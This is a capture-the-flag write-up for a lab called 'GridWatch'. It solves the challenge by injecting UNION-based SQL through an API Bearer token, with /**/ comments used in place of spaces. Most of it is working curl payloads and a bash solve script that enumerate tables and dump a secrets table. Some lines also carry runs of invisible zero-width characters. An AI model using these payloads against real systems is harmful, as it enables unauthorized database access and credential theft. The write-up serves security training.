← Back to Writeups
CUSTOMMediumWeb

Lab 87 — GridWatch — SQL Injection in Agent Heartbeat API

XESXOR9/10/20263 min read
#web#custom#medium#authorization_header_injection#decoy_flag_identification#sql_comment_space_bypass#sqlite_schema_enumeration#union_based_sql_injection#linux

Lab 87 — GridWatch — SQL Injection in Agent Heartbeat API

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: authorization_header_injection, decoy_flag_identification, sql_comment_space_bypass, sqlite_schema_enumeration, union_based_sql_injection

Summary

Task: Infrastructure monitoring platform with agent heartbeat API that takes Bearer token in Authorization header, SQLite backend. Solution: UNION-based SQL injection in Bearer token with /**/ comment space bypass to enumerate tables and extract flag from system_secrets.

Lab 87 — GridWatch — SQL Injection in Agent Heartbeat API — HackAdvisor

Description

GridWatch is an infrastructure monitoring platform built by GridSec Technologies. It provides real-time visibility into servers, network devices, and applications through lightweight monitoring agents. Agents authenticate to the platform using API tokens sent via the Authorization header. Your goal is to find the platform's internal secret key stored in the database.

English summary: A monitoring platform with an agent heartbeat API endpoint (/api/agent/heartbeat) that authenticates agents via Bearer tokens. The token value is interpolated directly into a SQL query without parameterization, enabling UNION-based SQL injection. The twist is that spaces in the token are rejected because the server splits the Authorization header on whitespace — bypassed with /**/ SQL block comments. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

  1. Logged in with provided credentials (user@test.com / password123) via form POST to /login
  2. Explored the dashboard — found agents, alerts, and settings pages
  3. The /settings page contained API documentation for the agent heartbeat endpoint and all agent tokens in cleartext (e.g., gw_tk_a1b2c3d4e5f6g7h8i9j0)
  4. Every page contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — a honeypot designed to trick automated scanners ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

API Endpoint Behavior

  • Endpoint: GET /api/agent/heartbeat
  • Authentication: Authorization: Bearer <agent_token>
  • Valid token → {"agent_id":1,"agent_name":"prod-web-01","status":"acknowledged",...}
  • Invalid token → {"error":"Invalid or revoked agent token"}
  • No token → {"error":"Authorization header required","usage":"Bearer <agent_token>"}

SQL Injection Discovery

Sending a single quote as the token caused an internal server error — classic SQL error indicator:

bash
curl -s "$URL/api/agent/heartbeat" -H "Authorization: Bearer '"
# → {"error":"Internal server error"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The underlying query is likely:

sql
SELECT id, name, token FROM agents WHERE token = '<user_input>'

Space Bypass

Payloads with spaces (e.g., Bearer ' OR 1=1 --) returned an authorization format error because the server splits the Authorization header on spaces and expects exactly 2 parts (Bearer + token):

{"error":"Invalid authorization format","expected":"Bearer <agent_token>"}

Bypass: Using /**/ (SQL block comments) as space replacement works perfectly since the token becomes a single whitespace-free string: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s "$URL/api/agent/heartbeat" -H "Authorization: Bearer '/**/OR/**/1=1/**/--"
# → {"agent_id":1,"agent_name":"prod-web-01","status":"acknowledged",...}

Solution

Step 1: Determine Column Count

bash
curl -s "$URL/api/agent/heartbeat" \
  -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,2,3--"
# → {"agent_id":1,"agent_name":2,...}

3 columns confirmed. Column 1 maps to agent_id, column 2 maps to agent_name (reflected in response).

Step 2: Enumerate Tables

bash
curl -s "$URL/api/agent/heartbeat" \
  -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,group_concat(name),3/**/FROM/**/sqlite_master/**/WHERE/**/type='table'--"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tables found: users, sqlite_sequence, agents, agent_metrics, alert_rules, alert_history, system_secrets

Step 3: Extract Table Schema

bash
curl -s "$URL/api/agent/heartbeat" \
  -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,group_concat(sql),3/**/FROM/**/sqlite_master/**/WHERE/**/type='table'--"

Key table: system_secrets with columns id, key_name, secret_value.

Step 4: Extract Flag

bash
curl -s "$URL/api/agent/heartbeat" \
  -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,group_concat(key_name||':'||secret_value),3/**/FROM/**/system_secrets--"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response contained all secrets:

  • master_api_key:gsk_a8f3e2b1c4d5f6a789012345678abcde
  • encryption_key:aes256-gcm-k9x7w2m4p6r8t0v3b5n1q2
  • webhook_signing_secret:whsec_q3r5t7u9w1y3a5c7e9g1i3k5
  • internal_auth_secret:FLAG{REDACTED}

Full Solve Script

bash
#!/usr/bin/env bash
# GridWatch — UNION SQLi in Bearer token with /**/ space bypass
URL="https://TARGET.labs.hackadvisor.io"

# Step 1: Confirm injection (3 columns)
echo "[*] Testing UNION injection..."
curl -s "$URL/api/agent/heartbeat" \
  -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,2,3--" | python3 -m json.tool
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Enumerate tables
echo "[*] Enumerating tables..."
curl -s "$URL/api/agent/heartbeat" \
  -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,group_concat(name),3/**/FROM/**/sqlite_master/**/WHERE/**/type='table'--" | python3 -m json.tool

# Step 3: Extract secrets (flag)
echo "[*] Extracting secrets..."
curl -s "$URL/api/agent/heartbeat" \
  -H "Authorization: Bearer '/**/UNION/**/SELECT/**/1,group_concat(key_name||':'||secret_value),3/**/FROM/**/system_secrets--" | python3 -m json.tool

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍